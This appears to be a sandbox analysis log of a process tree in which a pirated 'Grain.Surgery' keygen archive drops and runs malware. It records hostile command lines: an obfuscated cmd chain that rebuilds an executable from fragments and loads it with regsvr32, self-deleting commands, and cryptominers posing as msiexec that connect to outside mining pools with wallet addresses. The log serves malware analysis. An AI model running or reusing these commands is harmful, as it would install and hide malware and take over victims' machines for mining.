                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6372 /prefetch:8
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1788
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7576 /prefetch:8
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5732
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7340 /prefetch:8
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:5436
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:6100
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6704 /prefetch:8
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:2660
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=96 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7900 /prefetch:1
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:416
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8916 /prefetch:8
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:3800
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=98 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9132 /prefetch:1
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5296
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=99 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6184 /prefetch:1
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4776
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8004 /prefetch:8
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:5956
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8052 /prefetch:8
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:3856
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8000 /prefetch:8
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3036
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3792 /prefetch:8
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:2632
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7664 /prefetch:8
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:2924
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2380 /prefetch:8
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:2116
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3592 /prefetch:8
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1920
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=107 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6292 /prefetch:1
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:2060
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=108 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:1
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:5100
                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5648
                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=110 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8972 /prefetch:1
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:2800
                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=111 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6848 /prefetch:1
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:5464
                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6616 /prefetch:8
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5512
                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7752 /prefetch:8
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5072
                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,2843577806934512928,10301503453033561184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8500 /prefetch:8
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5716
                                                                                                                                                                                                                                                  • C:\Users\Admin\Downloads\mpam-fe.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\Downloads\mpam-fe.exe"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:3328
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\66A39A46-CC34-4883-87FD-851EACD4BAF0\MpSigStub.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\66A39A46-CC34-4883-87FD-851EACD4BAF0\MpSigStub.exe /stub 1.1.17800.4 /payload 1.341.920.0 /program C:\Users\Admin\Downloads\mpam-fe.exe
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      PID:588
                                                                                                                                                                                                                                                  • C:\Windows\system32\control.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\control.exe" netconnections
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:3456
                                                                                                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\WF.msc"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                      • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                      PID:3272
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:3968
                                                                                                                                                                                                                                                        • C:\Windows\system32\sfc.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\sfc.exe" /scannow
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:4196
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Temp2_Grain.Surgery.2.all.versions.serial.key.gen.zip\Grain.Surgery.2.all.versions.serial.key.gen.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Temp2_Grain.Surgery.2.all.versions.serial.key.gen.zip\Grain.Surgery.2.all.versions.serial.key.gen.exe"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:5872
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen.bat" "
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5804
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-pr.exe
                                                                                                                                                                                                                                                                  keygen-pr.exe -p83fsase3Ge
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:5760
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX3\key.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX3\key.exe"
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                    PID:4724
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX3\key.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\RarSFX3\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      PID:4424
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-1.exe
                                                                                                                                                                                                                                                                  keygen-step-1.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:5052
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-5.exe
                                                                                                                                                                                                                                                                  keygen-step-5.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:5912
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /Q /C Type "C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-5.exe" > 8HMPX3yNX8.EXe && START 8HMPx3YNx8.EXE -Pj5t2y7oywfQ5I~TutXs & IF "" == "" for %J in ( "C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-5.exe" ) do taskkill -Im "%~NXJ" /f > nUL
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:2424
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\8HMPX3yNX8.EXe
                                                                                                                                                                                                                                                                        8HMPx3YNx8.EXE -Pj5t2y7oywfQ5I~TutXs
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:2220
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /Q /C Type "C:\Users\Admin\AppData\Local\Temp\8HMPX3yNX8.EXe" > 8HMPX3yNX8.EXe && START 8HMPx3YNx8.EXE -Pj5t2y7oywfQ5I~TutXs & IF "-Pj5t2y7oywfQ5I~TutXs " == "" for %J in ( "C:\Users\Admin\AppData\Local\Temp\8HMPX3yNX8.EXe" ) do taskkill -Im "%~NXJ" /f > nUL
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                            PID:4456
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /Q /C eCHO | Set /p = "MZ" > ZrKBV.JIc &coPy /b /Y ZRKBV.JIC + GA51Q.O + FIDQA9h.Ie + 9RVF._H + 7UTh.i + KS2LcwEJ.HI + RxGOQCo.VPV + GUczo4T.M CY_RsA2.C > NuL &START regsvr32 CY_RSA2.c -u -s & deL gA51Q.O FIDqA9H.IE 9RVF._H 7UTh.i KS2LCWEJ.HI RxGOQCo.VPV gUCZo4t.M ZrKBV.Jic > NUl
                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                              PID:1128
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                  PID:5668
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" Set /p = "MZ" 1>ZrKBV.JIc"
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                    PID:32
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                                                                                                                    regsvr32 CY_RSA2.c -u -s
                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                    • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                                                                                                                                                                    PID:5232
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                taskkill -Im "keygen-step-5.exe" /f
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                PID:6004
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-6.exe
                                                                                                                                                                                                                                                                            keygen-step-6.exe
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                            PID:6036
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\DD53.tmp.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\DD53.tmp.exe"
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                              PID:3748
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\DD53.tmp.exe"
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:4368
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                    timeout /T 10 /NOBREAK
                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                    PID:204
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\E737.tmp.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\E737.tmp.exe"
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                PID:312
                                                                                                                                                                                                                                                                                • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                  -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w17553@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                    PID:4880
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                    -o pool.minexmr.com:4444 -u 87rRyMkZM4pNgAZPi5NX3DdxksaoNgd7bZUBVe3A9uemAhxc8EQJ6dAPZg2mYTwoezgJWNfTpFFmnVYWXqcNDMhLF7ihFgM.w10938 --cpu-max-threads-hint 50 -r 9999
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                    PID:4716
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\E777.tmp.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\E777.tmp.exe"
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  • Drops startup file
                                                                                                                                                                                                                                                                                  PID:2060
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-6.exe" >> NUL
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:4244
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                      ping 127.0.0.1
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                                                                                                                                      PID:5524
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-3.exe
                                                                                                                                                                                                                                                                                  keygen-step-3.exe
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:1280
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-3.exe"
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:1932
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                        ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                                                                        PID:5696
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\keygen-step-4.exe
                                                                                                                                                                                                                                                                                    keygen-step-4.exe
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:5788
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX4\Crack.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Crack.exe"
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                      PID:6100
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                                                        PID:3264
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX4\GloryWSetp.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX4\GloryWSetp.exe"
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      PID:508
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\4695652.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\4695652.exe"
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        PID:5676
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\7679455.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\7679455.exe"
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                                                                        PID:4448
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\8935586.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\8935586.exe"
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        PID:3144
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX4\Setup.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Setup.exe"
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                      PID:932
                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe"
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                        PID:4812
                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe
                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe"
                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          PID:4520
                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Browzar\Browzar.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Browzar\Browzar.exe"
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                        PID:6028
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6028 -s 2376
                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          PID:936
                                                                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:2740
                                                                                                                                                                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:1392
                                                                                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:1360
                                                                                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                                                                                                                                                                                    1⤵
